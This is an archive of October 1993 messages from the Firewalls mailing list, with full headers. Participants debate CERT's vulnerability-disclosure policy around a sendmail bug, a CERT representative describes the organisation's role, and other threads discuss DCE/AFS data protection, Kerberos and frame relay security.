Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA04428; Tue, 26 Oct 93 14:47:09 GMT Received: from lehman.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA04420; Tue, 26 Oct 93 07:46:52 PDT Received: from relay.lehman.com by lehman.com (8.6.2/LB 0.1) id KAA00470; Tue, 26 Oct 1993 10:50:41 -0400 Received: from snark.lehman.com by relay.lehman.com (4.1/LB-0.6) id AA06225; Tue, 26 Oct 93 10:50:09 EDT Received: by snark.lehman.com (4.1/SMI-4.1) id AA19833; Tue, 26 Oct 93 10:50:09 EDT Message-Id: <9310261450.AA19833@snark.lehman.com> To: smb@research.att.com Cc: firewalls@greatcircle.com Subject: Re: CERT and information In-Reply-To: Your message of "Mon, 25 Oct 1993 18:27:42 EDT." <9310252225.AA00407@mycroft.GreatCircle.COM> Reply-To: pmetzger@lehman.com X-Reposting-Policy: redistribute only with permission Date: Tue, 26 Oct 1993 10:50:08 -0400 From: "Perry E. Metzger" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk smb@research.att.com says: > The problem isn't the implementation -- there are lots of ways, as > Marcus noted. The problem is deciding who should be on the list. > Perry claims that he should, since his company moves googools of money > every day. I could make a similar case, based on the size of AT&T. > Lots of y'all can, too. What about Pat&Chris's Software Garage? It's > a small operation; if they get hacked, they could be out of business, > since they don't have the resources to ride out a siege. Arguing its hard to draw the line and arguing the line should not be drawn are different things. Obviously some people need to know. We can argue that there are people who obviously should be told (Eric Allman, say, since he wrote sendmail) and people who it is not obvious should be told (say, a cracker). Somewhere in between there is a line that can be drawn. Thus far, CERT has refused to draw the line. They act as an informatic black hole, absorbing information, apparently for their own amusement since they never give it to anyone at all, and periodically they send out useless messages that result in fear and no results. At the very least, their notice could have included enough information that people could know whether they had done enough even without telling enough to reproduce the bug. They could, for instance, have indicated whether the bug would hurt machines inside a secure firewall. I still do not have a good answer to that question, and its hardly a piece of information that would in and of itself allow me to reproduce the problem. It would certainly help me know if I've done enough, however. At this point, almost five days since the announcement, I am still unable to get any information on this bug. I still have no idea if I am now safe or not. Some people on this list who are supposedly security consultants seem to think this is a reasonable state of affairs. It is not. Perry From Firewalls-Owner Tue Oct 26 14:59:48 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA04478; Tue, 26 Oct 93 14:59:48 GMT Received: from lehman.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA04470; Tue, 26 Oct 93 07:59:39 PDT Received: from relay.lehman.com by lehman.com (8.6.2/LB 0.1) id LAA00600; Tue, 26 Oct 1993 11:03:32 -0400 Received: from snark.lehman.com by relay.lehman.com (4.1/LB-0.6) id AA06555; Tue, 26 Oct 93 11:03:01 EDT Received: by snark.lehman.com (4.1/SMI-4.1) id AA19850; Tue, 26 Oct 93 11:03:00 EDT Message-Id: <9310261503.AA19850@snark.lehman.com> To: Brent Chapman Cc: firewalls@greatcircle.com Subject: Re: perry's gripe about CERT In-Reply-To: Your message of "Mon, 25 Oct 1993 17:48:15 PDT." <9310260048.AA01172@mycroft.GreatCircle.COM> Reply-To: pmetzger@lehman.com X-Reposting-Policy: redistribute only with permission Date: Tue, 26 Oct 1993 11:03:00 -0400 From: "Perry E. Metzger" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Brent Chapman says: > "John A. Murphy" writes: > > # The major problem I see with giving "authorized" people the insights to > # vulnerabilities is there are a number of people wearing 2 hats. Valid > # admin's working for a company, while at the same time trying to (personally > # or professionally) break into a competitor. > > YES! THIS is exactly the key problem here. Even if I know who you > are, I'm not going to tell you the details of a security-sensitive > bug, because I don't know how you're going to use the information. Mr. Chapman, do you really honestly believe that there would be no consequences were I to misuse the information in question? I'm not some teenager. The folks like me who run firewalls for wall street firms (many of whom you have personally insulted in the last few weeks -- interesting behavior for a consultant) are people with substantial personal assets who have a lot to lose if we behave like idiots. (How much does the average teenage cracker have to lose?) We are also individuals who've been carefully background checked -- I can guarantee you that no one who works in the securities industry has ever gotten more than a parking ticket -- the SEC would have our company's neck if they didn't make sure of that. I've been fingerprinted at least three times at every firm I've worked at just to make sure of who I am and that I don't have a record. Of course, you presume we are all criminals. I have a question for you though, Mr. Chapman -- what assurance do we have that anyone who works at CERT isn't using the information to break into hundreds of computers? How do we know that YOU aren't using YOUR contacts to break into hundreds of computers? I've got no idea if you have a criminal record, and I have no idea if anyone at CERT has one, either. Perry From Firewalls-Owner Tue Oct 26 15:29:31 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA04640; Tue, 26 Oct 93 15:29:31 GMT Received: from hac2arpa.hac.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA04632; Tue, 26 Oct 93 08:29:24 PDT Received: from EDEN1.HAC.COM by hac2arpa.hac.com (4.1/SMI-DDN) id AA04253; Tue, 26 Oct 93 08:33:10 PDT Received: from ipld01.hac.com by EDEN1.HAC.COM (PMDF #2669 ) id <01H4K8SE7RXC004A7Y@EDEN1.HAC.COM>; Tue, 26 Oct 1993 08:33:08 PST Received: from ghost by ipld01.hac.com (4.1/SMI-4.1) id AA11159; Tue, 26 Oct 93 08:34:24 PDT Received: by ghost (4.1/SMI-4.1) id AA13026; Tue, 26 Oct 93 08:34:25 PDT Date: 26 Oct 1993 08:34:25 -0700 (PDT) From: kemasa@ghost.hac.com (Kemasa) Subject: Re: perry's gripe about CERT To: firewalls%GreatCircle.COM@ipld01.hac.com Message-Id: <9310261534.AA13026@ghost> Content-Transfer-Encoding: 7BIT Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk I can undertand the complaints about CERT as I can not manage to get added to the list (no one responds), but the I think the best way to look at CERT is to view it as an alarm. Alarms will tell you the area in which the problem is, but not the exact details, and then it is up to you to do something about it. It is not perfect, but it is better than nothing in many ways. Other than that it is getting to be a bit annoying with all the complaints about CERT. If you don't like it, why don't *you* do something about it and start a better system!!! Don't give excuses, just do it. Kemasa. From Firewalls-Owner Tue Oct 26 15:52:41 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA04702; Tue, 26 Oct 93 15:52:41 GMT Received: from alw.nih.gov by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA04694; Tue, 26 Oct 93 08:52:24 PDT Received: from kirin.dcrt.nih.gov by alw.nih.gov (5.61/1.35(alw-2.4)) id AA00405; Tue, 26 Oct 93 11:56:02 -0400 Received: by kirin.dcrt.nih.gov (4.1/3.15) id for mjr@tis.com; Tue, 26 Oct 93 11:56:00 EDT Received: via switchmail; Tue, 26 Oct 1993 11:55:58 -0400 (EDT) Received: from dude.dcrt.nih.gov via qmail ID ; Tue, 26 Oct 1993 11:54:26 -0400 (EDT) Received: from dude.dcrt.nih.gov via qmail ID ; Tue, 26 Oct 1993 11:54:25 -0400 (EDT) Received: from Messages.8.5.N.CUILIB.3.45.SNAP.NOT.LINKED.dude.dcrt.nih.gov.sun4c.411 via MS.5.6.dude.dcrt.nih.gov.sun4_41; Tue, 26 Oct 1993 11:54:24 -0400 (EDT) Message-Id: Date: Tue, 26 Oct 1993 11:54:24 -0400 (EDT) From: Bob Dew Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII To: Firewalls@greatcircle.com, brian@lloyd.com, mjr@tis.com Subject: Re: smail vs. sendmail In-Reply-To: <9316.9310261418@otter.TIS.COM> References: <9316.9310261418@otter.TIS.COM> Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Excerpts from Firewalls: 26-Oct-93 Re: smail vs. sendmail mjr@TIS.COM (2554) > I think it's a great idea. Unfortunately, it does have some > problems. I suspect (hope!) you won't see the big financial > organizations going that route in the near future. For security > critical data, you *HAVE* to trust the system you're on, or you're > lunchmeat. On the contrary, I think we'll see a firestorm of activity in this area, as secure OLTP enters the UNIX marketplace. Networked UNIX systems, as we all know, are inherently insecure. But using UNIX as a font-end to secure systems can be made very secure, and robust. Yes, you still need to trust your local system. But levels of security are so greatly enhanced by DCE that standard UNIX system security becomes something one works around, rather than something one relies upon to protect data. In the relevant case of mail on an SMTP host, a gateway can easily be configured so that incoming messages transfer directly into a secure filesystem. Authentication passwords are never used or exchanged on the mail host (all login accounts can be local), so there's no danger of an intruder gaining authenticated access through listening. As you've alluded to, an intruder with root privileges could sample user data that is temporarily buffered on the host. For this reason (and became you'd like not to restore your system every day) you'd certainly want to keep root passwords secret. But it is possible, academically, to configure a system in such a way that leaking the root password won't endanger unauthorized access to secure data areas. -Bob From Firewalls-Owner Tue Oct 26 16:07:36 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA04815; Tue, 26 Oct 93 16:07:36 GMT Received: from usl.com (usl.usl.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA04807; Tue, 26 Oct 93 09:07:28 PDT Received: from usl.com by usl.com; Tue, 26 Oct 1993 12:09 EDT Received: by tagore.usl.com (4.1/SMI-4.1) id AA12662; Tue, 26 Oct 93 12:06:22 EDT Received: from Messages.8.5.N.CUILIB.3.45.SNAP.NOT.LINKED.tagore.usl.com.sun4.41 via MS.5.6.tagore.usl.com.sun4_41; Tue, 26 Oct 1993 12:06:21 -0400 (EDT) Message-Id: <0gnIfxmH0akyI5iLsC@usl.com> Date: Tue, 26 Oct 1993 12:06:21 -0400 (EDT) From: Jishnu Mukerji Mime-Version: 1.0 To: firewalls@GreatCircle.COM Subject: Re: perry's gripe about CERT In-Reply-To: <9310261503.AA19850@snark.lehman.com> References: <9310261503.AA19850@snark.lehman.com> Content-Type: text/plain; charset=US-ASCII Content-Length: 1573 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Excerpts from Projects.Firewalls: 26-Oct-93 Re: perry's gripe about CERT "Perry E. Metzger"@lehma (1842*) > Of course, you presume we are all criminals. I have a question for you > though, Mr. Chapman -- what assurance do we have that anyone who works > at CERT isn't using the information to break into hundreds of > computers? How do we know that YOU aren't using YOUR contacts to break > into hundreds of computers? I've got no idea if you have a criminal > record, and I have no idea if anyone at CERT has one, either. Well now, as I was afraid was going to happen inevitably, we have come to the "my *** is bigger than yours" or equivalent, discussion. To get us back on track, it might help if someone knowledgable about CERT, perhaps even someone from CERT could post a non-flammatory article describing what is CERT. Who funds them. Who they think their customers are, and what service they think they are supposed to be providing to said customers. With all that information we then have a basis to discuss whether: (a) There is agreement on who the customers of CERT are. (b) What services CERT thinks it is providing. (c) How CERT does or does not meet its customer's expectations. (d) What can be done to improve the situation if that is deemed necessary. Finally, I don't know for sure that this list is necessarily the right forum for this, but as far as I can tell this list is as good as any other forum considering the traffic that has been generated on this list revolving around this subject. Jishnu Mukerji Novell USG Summit NJ USA jis@usl.com From Firewalls-Owner Tue Oct 26 16:41:02 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA04982; Tue, 26 Oct 93 16:41:02 GMT Received: from lns62.lns.cornell.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA04974; Tue, 26 Oct 93 09:40:52 PDT Received: from LNS62.LNS.CORNELL.EDU by LNS62.LNS.CORNELL.EDU (PMDF V4.2-13 #3448) id <01H4KHOS6U1C95N3JG@LNS62.LNS.CORNELL.EDU>; Tue, 26 Oct 1993 12:48:19 EST Date: Tue, 26 Oct 1993 12:48:19 -0500 (EST) From: "Selden E. Ball, Jr." Subject: Where to find some information about CERT To: jis@usl.com, firewalls@GreatCircle.COM Message-Id: <01H4KHOS8FWI95N3JG@LNS62.LNS.CORNELL.EDU> X-Vms-To: IN%"jis@usl.com",IN%"firewalls@GreatCircle.COM" X-Vms-Cc: SEB Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: 7BIT Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Jishnu Mukerji recently posted >To get us back on track, it might help if someone knowledgable about >CERT, perhaps even someone from CERT could post a non-flammatory article >describing what is CERT. Each CERT advisory includes the statement >Past advisories, information about FIRST representatives, and other >information related to computer security are available for anonymous FTP >from cert.org (192.88.209.5). Their file /pub/cert.faq answers some of the questions that Jishnu has posed. I was amused (?) to see that they do not include "firewalls" in their list of security related mailing lists. The FAQ obviously needs updating. Selden ====== Selden E. Ball, Jr. (Wilson Lab's VMS system and network manager) Cornell University Voice: +1-607-255-0688 Laboratory of Nuclear Studies FAX: +1-607-255-8062 230A Wilson Synchrotron Lab BITNET: SEB@CRNLNS Judd Falls & Dryden Road Internet: SEB@LNS61.TN.CORNELL.EDU Ithaca, NY, USA 14853-8001 HEPnet/SPAN: LNS61::SEB = 44283::SEB From Firewalls-Owner Tue Oct 26 16:48:32 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA05080; Tue, 26 Oct 93 16:48:32 GMT Received: from charlie.CES.CWRU.Edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA05071; Tue, 26 Oct 93 09:48:23 PDT Received: by charlie.CES.CWRU.Edu (5.64+/ane.09.11.90.2) id AA01576; Tue, 26 Oct 93 12:52:16 -0400 Date: Tue, 26 Oct 93 12:52:16 -0400 From: Aydin Edguer Message-Id: <9310261652.AA01576@charlie.CES.CWRU.Edu> To: firewalls@GreatCircle.COM Subject: Re: perry's gripe about CERT Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Jishnu Mukerji writes: > To get us back on track, it might help if someone knowledgable about > CERT, perhaps even someone from CERT could post a non-flammatory article > describing what is CERT. ftp cert.sei.cmu.edu cd /pub prompt mget cert_faq CERT_Press_Release_8812 quit Aydin From Firewalls-Owner Tue Oct 26 17:27:38 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA05285; Tue, 26 Oct 93 17:27:38 GMT Received: from localhost by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA05276; Tue, 26 Oct 93 10:27:12 PDT Message-Id: <9310261727.AA05276@mycroft.GreatCircle.COM> To: pmetzger@lehman.com Cc: firewalls@greatcircle.com Subject: Re: perry's gripe about CERT In-Reply-To: Your message of Tue, 26 Oct 1993 11:03:00 -0400 Date: Tue, 26 Oct 1993 10:27:11 -0700 From: Brent Chapman Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk "Perry E. Metzger" writes: # # Brent Chapman says: # > "John A. Murphy" writes: # > # > # The major problem I see with giving "authorized" people the insights to # > # vulnerabilities is there are a number of people wearing 2 hats. Valid # > # admin's working for a company, while at the same time trying to (personal # ly # # > # or professionally) break into a competitor. # > # > YES! THIS is exactly the key problem here. Even if I know who you # > are, I'm not going to tell you the details of a security-sensitive # > bug, because I don't know how you're going to use the information. # # Mr. Chapman, do you really honestly believe that there would be no # consequences were I to misuse the information in question? I'm not # some teenager. There would be consequences IF you got caught. Now, how many crackers have been caught lately? As a percentage of the total? Doesn't seem likely to me that you (if you were doing anything illegal, and I don't mean to suggest you are) would get caught. # The folks like me who run firewalls for wall street # firms (many of whom you have personally insulted in the last few weeks # -- interesting behavior for a consultant) are people with substantial I see. Because I'm a consultant, I should go out of my way not to hold strong opionions, lest they offend anyone? I don't think I've insulted anyone by saying "I don't know you, therefore I don't trust you with sensitive information". Nobody I'd want to work for, anyway. If somebody wants to sign a contract with me that their company will indemnify me against any legal actions arising out of information that I share with them, I'd be a lot more willing to share sensitive information with them, because I'd have something tangible to back their claims that they _aren't_ going to misuse the information, and to protect myself with legally if they do. # personal assets who have a lot to lose if we behave like idiots. (How # much does the average teenage cracker have to lose?) We are also # individuals who've been carefully background checked -- I can # guarantee you that no one who works in the securities industry has # ever gotten more than a parking ticket -- the SEC would have our # company's neck if they didn't make sure of that. I've been # fingerprinted at least three times at every firm I've worked at just # to make sure of who I am and that I don't have a record. Weren't Ivan Boeske and Michael Milken (sorry if I've misspelled their names) subject to those same security checks? Pardon me if I don't place much faith in them. # Of course, you presume we are all criminals. I have a question for you No, I assume that you _may_ be criminals, though you probably aren't. There's a big difference. If I assumed that you _were_ criminals, I wouldn't tell you anything I know. Since I assume that you _may_ be, but probably are NOT, I'm willing to share all but the most sensitive information I have. # though, Mr. Chapman -- what assurance do we have that anyone who works # at CERT isn't using the information to break into hundreds of # computers? How do we know that YOU aren't using YOUR contacts to break # into hundreds of computers? I've got no idea if you have a criminal # record, and I have no idea if anyone at CERT has one, either. You don't. And that's exactly my point. I'm not trying to imply that anyone here is doing anything they shouldn't be, but I _am_ saying that it is a distinct _possibility_. There are 1000 subscribers to the Firewalls mailing list, and another 500 to Firewalls-Digest. Many of these subscriptions are local exploders. I'd estimate total readership of this list at 3000 people. Some of those people are bound to be crackers; I even know who a few of them are, but there's nothing I can do about it. They all have legitimate day jobs and no criminal record. -Brent -- Brent Chapman Great Circle Associates Brent@GreatCircle.COM 1057 West Dana Street +1 415 962 0841 Mountain View, CA 94041 From Firewalls-Owner Tue Oct 26 18:04:00 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA05578; Tue, 26 Oct 93 18:04:00 GMT Received: from whistler.sfu.ca by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA05570; Tue, 26 Oct 93 11:03:46 PDT Received: from wizard.ucs.sfu.ca by whistler.sfu.ca (5.65/SFU-SUN-2.0H) id AA21677; Tue, 26 Oct 93 11:07:24 -0700 Received: by wizard.ucs.sfu.ca (NeXT-1.0 (From Sendmail 5.52)/NeXT-2.0) id AA03314; Tue, 26 Oct 93 11:07:20 PDT Date: Tue, 26 Oct 93 11:07:20 PDT From: richard@wizard.ucs.sfu.ca (Richard Chycoski) Message-Id: <9310261807.AA03314@wizard.ucs.sfu.ca> Received: by NeXT Mailer (1.63) To: Firewalls@greatcircle.com Subject: System Security Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Bob Dew said: > There's a growing ideology, though perhaps not very popular yet in this > group, that system security is not nearly as important as the concept of > data protection. > ... > In an extreme case, MIT's Project Athena runs an extensive, > distributed collection of UNIX hosts where a common root password is > generally known by the user community. If a user's host machine is > fouled, the system image can be restored easily without fear of > compromising user data. High redundancy is built into server systems so > that single entry points and single points of failure are eliminated. > And if you suggest to an Athena-type person that maybe two people might actually want to *share* a machine, especially at the *same time*, they look at you with horror and tell you that such a thing is completely insecure. (The Kerberos authentication approach is susceptible to attack on multi-user systems. Breaking Kerberos can also break AFS security.) Since not all of us are yet at a state where we can put a workstation in front of every user, we still need solutions that keep things reasonably secure in a multiuser environment. This is also important for our "server" machines (just look at sendmail :-). I hope that when (if?) DCE and friends become available, they do not rely on the same one person/one machine ideal. We don't need another NFS or Athena, we need a robust, trustworthy, multiplatform, multiuser-safe system to protect our data. (I'm not holding my breath waiting for such a system to appear, however.) --- - Richard Chycoski richard@sfu.ca (NeXT Mail OK) Senior Systems Consultant Academic Computing Services Simon Fraser University From Firewalls-Owner Tue Oct 26 20:32:13 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA06294; Tue, 26 Oct 93 20:32:13 GMT Received: from cert.org by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA06286; Tue, 26 Oct 93 13:32:02 PDT Received: from why.cert.org by cert.org (4.1/cert-5.2) id AA24190; Tue, 26 Oct 93 16:37:31 EDT Received: by why.cert.org (4.1/cert-5.3) id AA03691; Tue, 26 Oct 93 16:37:30 EDT Date: Tue, 26 Oct 93 16:37:29 EDT From: Edward DeHart To: firewalls@GreatCircle.COM Organization: Computer Emergency Response Team : 412-268-7090 Subject: CERT Message-Id: Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Jishnu Mukerji writes: > To get us back on track, it might help if someone knowledgable about > CERT, perhaps even someone from CERT could post a non-flammatory article > describing what is CERT. Who funds them. Who they think their customers > are, and what service they think they are supposed to be providing to > said customers. Okay, I'll submit the following. A couple of us will be at LISA next week and we would be more than happy to chat with you. We're planning on holding a CERT BoF on Wednesday (check BoF schedules just to be sure). CERT was formed by the Defense Advanced Research Projects Agency (DARPA) in 1988 to serve as a focal point for the computer security concerns of Internet users. The Coordination Center for the CERT is located at the Software Engineering Institute, Carnegie Mellon University, Pittsburgh, PA. BTW: DARPA is now ARPA and is still CERT's sponsor. I don't know why the NSA story keeps surfacing but they had nothing to do with the creation of CERT. We provide a 24 hour a day, seven days a week, computer security incident response service. Our office hours are from 8:30 AM to 5:00 PM EST/EDT, Monday through Friday. We are available for emergency calls during other hours. We offer help to system managers with computer security problems. Often, it is the case that a system manager will learn about a security problem at his or her site from CERT. Working with CERT does help the Internet community in that we are always trying to solve large puzzles and you might have the missing piece of information that will help hundreds of your network neighbors. CERT is used by many sites wanting to help the rest of the net but for a number of reasons, wish to remain anonymous. We provide a "fast path" to vendors for product vulnerability resolution. However, fast is a relative term and a given vendor's meaning could be different than ours. We're trying to help vendors understand the need for faster responses. We have been working on building relations with vendors and will continue to do so. We have established contacts with over 35 major vendors. We recently held our first CERT vendor workshop. We have started to plan the next workshop. Dan Farmer writes: > IMO, the current situation is rediculous, even from a vendor > standpoint. CERT will *NOT* give sun (or anyone else, as far as I know, > and I have asked for stuff repeatedly ... It is important to note that we only work with official contacts established by the vendor's organization. We don't forward information to employees. Each vendor has their own policies on handling security related information. We will not give vendor X a description of a problem that effects vendor Y. This would cause vendors to stop working with us. We will alert multiple vendors if we believe the vulnerability is generic or shared. I would like to answer one question about the last Advisory. Even if your systems are behind a firewall, if someone is able to send e-mail to your systems, those systems are vulnerable. kemasa@ghost.hac.com (Kemasa) writes: > I can understand the complaints about CERT as I can not manage to get > added to the list (no one responds) We attempt to handle incident and product vulnerability e-mail before mailing list updates. Your request arrived Friday afternoon and is number 111 in the mailing list questions queue. Generally, mailing list questions are handled as time permits. Requests are completed before the next Advisory is sent out. I hope this provides some useful information. We understand that it is difficult to be everything to everyone. -Ed From Firewalls-Owner Tue Oct 26 21:43:44 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA06540; Tue, 26 Oct 93 21:43:44 GMT Received: from mercury.house.gov by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA06532; Tue, 26 Oct 93 14:43:32 PDT Received: from ozone.house.gov by mercury.house.gov with SMTP (1.37.109.4/16.2) id AA23611; Tue, 26 Oct 93 17:41:45 -0400 Received: by oxygen.house.gov (AIX 3.2/UCB 5.64/3.2.083191-) id AA08696; Tue, 26 Oct 1993 17:38:01 -0400 Date: Tue, 26 Oct 1993 17:38:01 -0400 From: johns@oxygen.house.gov (John Schnizlein) Message-Id: <9310262138.AA08696@oxygen.house.gov> To: firewalls@greatcircle.com Subject: Frame Relay security concerns Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Concerns about the security of frame relay networks were posted here before the (Sun) sendmail bug consumed most of the bandwidth. Comments about the need to trust the carrier's configuration seemed to undermine the advertised model of frame relay as a virtual PRIVATE network. Without stating it explicitly, these comments left the impression that users should be more concerned with a frame relay network than with the set of private lines providing the same connectivity. There is no reason to think that carriers are more likely to connect tail circuits incorrectly for frame relay than for point-to-point lines. Although their staff are more familiar with traditional leased line connections, it is common for the best staff to choose to work on the newest technology. Circuit connection errors can occur. However, it is unlikely that the data-link addressing (DLCI) would match between your router config and the other customers' mistakenly cross-connected line config. If DLCI configs don't match up, the switches should drop the frames - test this yourself by deliberately putting "wrong" DLCI definitions in your router. Above the data-link layer, you should run a proper routable protocol (IP, CLNP, AppleTalk, IPX, DECnet). Your routers should drop any packets that don't have the correctly matching network (or area) configuration. If you are security conscious (else why would you read this list), don't use the auto-config capabilities router vendors provide. Then if the configurations don't match up you fail safely. A new set of issues is introduced if you share your frame relay network with a business partner. This is not quite as bad as sharing an ethernet with a partner because it eliminates the eavesdropping potential of a true broadcast network. Access control in the routers should enforce the access agreements between parties. I used to worry that the frame relay switches might make it easier for the carrier to snoop on a virtual connection. The opposite is true. Private lines are provisioned with switch equipment which can easily monitor any circuit. How can you trust that they don't snoop? Only the economics of competition guarentee that they don't already snoop. It costs too much, both in risk of exposure and equipment. To keep these costs up, and the incentive to snoop down, demand and use higher capacity data services at low prices. If there are specific security holes in frame relay, tell me right away ;-) From Firewalls-Owner Tue Oct 26 22:57:55 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA06739; Tue, 26 Oct 93 22:57:55 GMT Received: from whistler.sfu.ca by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA06731; Tue, 26 Oct 93 15:57:44 PDT Received: from wizard.ucs.sfu.ca by whistler.sfu.ca (5.65/SFU-SUN-2.0H) id AA22848; Tue, 26 Oct 93 16:00:29 -0700 Received: by wizard.ucs.sfu.ca (NeXT-1.0 (From Sendmail 5.52)/NeXT-2.0) id AA03530; Tue, 26 Oct 93 16:00:26 PDT Date: Tue, 26 Oct 93 16:00:26 PDT From: richard@wizard.ucs.sfu.ca (Richard Chycoski) Message-Id: <9310262300.AA03530@wizard.ucs.sfu.ca> Received: by NeXT Mailer (1.63) To: firewalls@greatcircle.com Subject: Re: Frame Relay security concerns Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > From: johns@oxygen.house.gov (John Schnizlein) > > There is no reason to think that carriers are more likely to connect tail > circuits incorrectly for frame relay than for point-to-point lines. > Although their staff are more familiar with traditional leased line connections, > it is common for the best staff to choose to work on the newest technology. > This is not a universally correct assumption. At least one of the common carriers here in the past would assign the people with the most *seniority* to new technology (a union requirement). This meant that the people with the most recent experience and training would be left fixing teletypes while the old teletype mechanics would work on the "high-tech" equipment. This used to ensure that almost nothing from this carrier worked smoothly. Age and seniority *can* override youth and training. --- - Richard Chycoski richard@sfu.ca (NeXT Mail OK) Senior Systems Consultant Academic Computing Services Simon Fraser University From Firewalls-Owner Wed Oct 27 01:17:02 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA07076; Wed, 27 Oct 93 01:17:02 GMT Received: from extra.ucc.su.OZ.AU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA07068; Tue, 26 Oct 93 18:16:40 PDT Received: from extro.ucc.su.OZ.AU by extra.ucc.su.OZ.AU with SMTP id AA29306 (5.65c/IDA-1.4.4 for ); Wed, 27 Oct 1993 11:18:38 +1000 From: Matthew Hannigan Message-Id: <199310270118.AA29306@extra.ucc.su.OZ.AU> To: Jishnu Mukerji Cc: firewalls@greatcircle.com, matth@extro.ucc.su.OZ.AU Subject: Re: perry's gripe about CERT In-Reply-To: Your message of "Tue, 26 Oct 93 12:06:21 -0400." <0gnIfxmH0akyI5iLsC@usl.com> Date: Wed, 27 Oct 93 11:18:36 +1000 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Jishnu Mukerji writes.. > [ wants info about CERT ] > > Finally, I don't know for sure that this list is necessarily the right > forum for this, but as far as I can tell this list is as good as any > other forum considering the traffic that has been generated on this list > revolving around this subject. Yeah, way too much traffic. Please don't use the firewalls list for this. Try a newsgroup. (comp.security.misc or alt.security) -Matt From Firewalls-Owner Wed Oct 27 01:21:34 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA07095; Wed, 27 Oct 93 01:21:34 GMT Received: from alw.nih.gov by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA07087; Tue, 26 Oct 93 18:21:26 PDT Received: from kirin.dcrt.nih.gov by alw.nih.gov (5.61/1.35(alw-2.4)) id AA05964; Tue, 26 Oct 93 21:25:22 -0400 Received: by kirin.dcrt.nih.gov (4.1/3.15) id for Firewalls@greatcircle.com; Tue, 26 Oct 93 21:25:20 EDT Received: via switchmail; Tue, 26 Oct 1993 21:25:19 -0400 (EDT) Received: from dude.dcrt.nih.gov via qmail ID ; Tue, 26 Oct 1993 21:23:28 -0400 (EDT) Received: from dude.dcrt.nih.gov via qmail ID ; Tue, 26 Oct 1993 21:23:26 -0400 (EDT) Received: from Messages.8.5.N.CUILIB.3.45.SNAP.NOT.LINKED.dude.dcrt.nih.gov.sun4c.411 via MS.5.6.dude.dcrt.nih.gov.sun4_41; Tue, 26 Oct 1993 21:23:26 -0400 (EDT) Message-Id: Date: Tue, 26 Oct 1993 21:23:26 -0400 (EDT) From: Bob Dew Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII To: Firewalls@greatcircle.com, richard@wizard.ucs.sfu.ca (Richard Chycoski) Subject: Re: System Security In-Reply-To: <9310261807.AA03314@wizard.ucs.sfu.ca> References: <9310261807.AA03314@wizard.ucs.sfu.ca> Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Excerpts from Firewalls: 26-Oct-93 System Security Richard Chycoski@wizard. (1741) > And if you suggest to an Athena-type person that maybe two people > might actually want to *share* a machine, especially at the *same > time*, they look at you with horror and tell you that such a thing is > completely insecure. (The Kerberos authentication approach is > susceptible to attack on multi-user systems. Breaking Kerberos can > also break AFS security.) Say what? What leads you to believe that AFS or DCE relies on a one-person/one-machine concept? I can assure you it does not. AFS authentication tokens are stored in the kernel of the authenticating host, and cache chunks are root-protected on a disk or stored in RAM. Neither the tokens nor the cache needs to reside on the local (physical) machine. The only user that has access to cached data or stored tokens is the root account on the cache manager host. True, the host which runs the cache manager needs a protected root password, but I wouldn't by any means say that this constitutes "complete insecurity" -- it makes the system as secure as the root password of the cache manager. Physical security is always the lowest common denominator in *any* secure system. You of course don't want to make it easy for the locals cart off your disks, or boot your server in single-user mode in the wee hours. > I hope that when (if?) DCE and friends become available, they do not > rely on the same one person/one machine ideal. We don't need another > NFS or Athena, 